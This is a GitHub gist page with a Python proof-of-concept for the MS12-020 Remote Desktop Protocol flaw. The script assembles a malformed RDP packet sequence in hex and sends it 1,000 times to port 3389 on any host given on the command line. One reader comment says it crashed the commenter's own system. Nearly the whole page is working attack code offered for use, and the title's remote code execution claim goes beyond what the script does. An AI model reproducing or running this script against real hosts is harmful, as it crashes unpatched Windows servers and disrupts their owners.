Created
August 24, 2013 23:13
-
-
Save jamesejr/6330932 to your computer and use it in GitHub Desktop.
MS12-020 Remote Desktop Protocol (RDP) Remote Code Execution PoC (Python)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# | |
# | |
# ms12-020 "chinese shit" PoC v2 (wireshark version) | |
# | |
# tested on winsp3 spanish, reported to work on Win7, win 2008 | |
# | |
# original source: http://115.com/file/be27pff7 | |
# | |
# | |
import socket | |
import sys | |
buf="" | |
buf+="\x03\x00\x00\x13" # TPKT, Version 3, lenght 19 | |
buf+="\x0e\xe0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x00\x00\x00\x00" # ITU-T Rec X.224 | |
buf+="\x03\x00\x01\xd6" # TPKT, Version 3, lenght 470 | |
buf+="\x02\xf0\x80" # ITU-T Rec X.224 | |
buf+="\x7f\x65\x82\x01\x94\x04" #MULTIPOINT-COMMUNICATION-SERVICE T.125 | |
buf+="\x01\x01\x04\x01\x01\x01\x01\xff" # "Fuck you Chelios" packet | |
buf+="\x30\x19\x02\x04\x00\x00\x00\x00" | |
buf+="\x02\x04\x00\x00\x00\x02\x02\x04" | |
buf+="\x00\x00\x00\x00\x02\x04\x00\x00" | |
buf+="\x00\x01\x02\x04\x00\x00\x00\x00" | |
buf+="\x02\x04\x00\x00\x00\x01\x02\x02" | |
buf+="\xff\xff\x02\x04\x00\x00\x00\x02" | |
buf+="\x30\x19\x02\x04\x00\x00\x00\x01" | |
buf+="\x02\x04\x00\x00\x00\x01\x02\x04" | |
buf+="\x00\x00\x00\x01\x02\x04\x00\x00" | |
buf+="\x00\x01\x02\x04\x00\x00\x00\x00" | |
buf+="\x02\x04\x00\x00\x00\x01\x02\x02" | |
buf+="\x04\x20\x02\x04\x00\x00\x00\x02" | |
buf+="\x30\x1c\x02\x02\xff\xff\x02\x02" | |
buf+="\xfc\x17\x02\x02\xff\xff\x02\x04" | |
buf+="\x00\x00\x00\x01\x02\x04\x00\x00" | |
buf+="\x00\x00\x02\x04\x00\x00\x00\x01" | |
buf+="\x02\x02\xff\xff\x02\x04\x00\x00" | |
buf+="\x00\x02\x04\x82\x01\x33\x00\x05" | |
buf+="\x00\x14\x7c\x00\x01\x81\x2a\x00" | |
buf+="\x08\x00\x10\x00\x01\xc0\x00\x44" | |
buf+="\x75\x63\x61\x81\x1c\x01\xc0\xd8" | |
buf+="\x00\x04\x00\x08\x00\x80\x02\xe0" | |
buf+="\x01\x01\xca\x03\xaa\x09\x04\x00" | |
buf+="\x00\xce\x0e\x00\x00\x48\x00\x4f" | |
buf+="\x00\x53\x00\x54\x00\x00\x00\x00" | |
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" | |
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" | |
buf+="\x00\x00\x00\x00\x00\x04\x00\x00" | |
buf+="\x00\x00\x00\x00\x00\x0c\x00\x00" | |
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" | |
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" | |
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" | |
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" | |
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" | |
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" | |
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" | |
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" | |
buf+="\x00\x01\xca\x01\x00\x00\x00\x00" | |
buf+="\x00\x10\x00\x07\x00\x01\x00\x30" | |
buf+="\x00\x30\x00\x30\x00\x30\x00\x30" | |
buf+="\x00\x2d\x00\x30\x00\x30\x00\x30" | |
buf+="\x00\x2d\x00\x30\x00\x30\x00\x30" | |
buf+="\x00\x30\x00\x30\x00\x30\x00\x30" | |
buf+="\x00\x2d\x00\x30\x00\x30\x00\x30" | |
buf+="\x00\x30\x00\x30\x00\x00\x00\x00" | |
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" | |
buf+="\x00\x00\x00\x00\x00\x00\x00\x00" | |
buf+="\x00\x00\x00\x00\x00\x04\xc0\x0c" | |
buf+="\x00\x0d\x00\x00\x00\x00\x00\x00" | |
buf+="\x00\x02\xc0\x0c\x00\x1b\x00\x00" | |
buf+="\x00\x00\x00\x00\x00\x03\xc0\x2c" | |
buf+="\x00\x03\x00\x00\x00\x72\x64\x70" | |
buf+="\x64\x72\x00\x00\x00\x00\x00\x80" | |
buf+="\x80\x63\x6c\x69\x70\x72\x64\x72" | |
buf+="\x00\x00\x00\xa0\xc0\x72\x64\x70" | |
buf+="\x73\x6e\x64\x00\x00\x00\x00\x00" | |
buf+="\xc0" | |
buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12 | |
buf+="\x02\xf0\x80" # ITU-T Rec X.224 | |
buf+="\x04\x01\x00\x01\x00" # MULTIPOINT-COMMUNICATION-SERVICE T.125 | |
buf+="\x03\x00\x00\x08" #TPKT, Version 3, Length 8 | |
buf+="\x02\xf0\x80" # ITU-T Rec X.224 | |
buf+="\x28" # MULTIPOINT-COMM-SERVICE T.125 | |
buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12 | |
buf+="\x02\xf0\x80" # ITU-T Rec X.224 | |
buf+="\x38\x00\x06\x03\xef" # MULTIPOINT-COMM-SERVICE T.125 | |
buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12 | |
buf+="\x02\xf0\x80" #ITU-T Rec X.224 | |
buf+="\x38\x00\x06\x03\xeb" # MULTIPOINT-COMM-SERVICE T.125 | |
buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12 | |
buf+="\x02\xf0\x80" #ITU-T Rec X.224 | |
buf+="\x38\x00\x06\x03\xec"# MULTIPOINT-COMM-SERVICE T.125 | |
buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12 | |
buf+="\x02\xf0\x80" #ITU-T Rec X.224 | |
buf+="\x38\x00\x06\x03\xed"# MULTIPOINT-COMM-SERVICE T.125 | |
buf+="\x03\x00\x00\x0c" # TPKT, Version 3, Lenght 12 | |
buf+="\x02\xf0\x80" #ITU-T Rec X.224 | |
buf+="\x38\x00\x06\x03\xee"# MULTIPOINT-COMM-SERVICE T.125 | |
buf+="\x03\x00\x00\x0b" # TPKT, Version 3, Lenght 12 | |
buf+="\x06\xd0\x00\x00\x12\x34\x00" #ITU-T Rec X.224 | |
HOST = sys.argv[1] | |
PORT = 3389 | |
for i in range(1000): | |
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.connect((HOST,PORT)) | |
print "sending: %d bytes" % len(buf) | |
s.send(buf) | |
rec = s.recv(100) | |
print "received: %d bytes" % len(rec) | |
s.close() |
This nuked my system, learned a big lesson today. Luckily I can just revert to an earlier snapshot
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
just this work as the same old DoS service already in the wild, or this is the remote code execution vulnerability, as i can't seem to get my Hands on that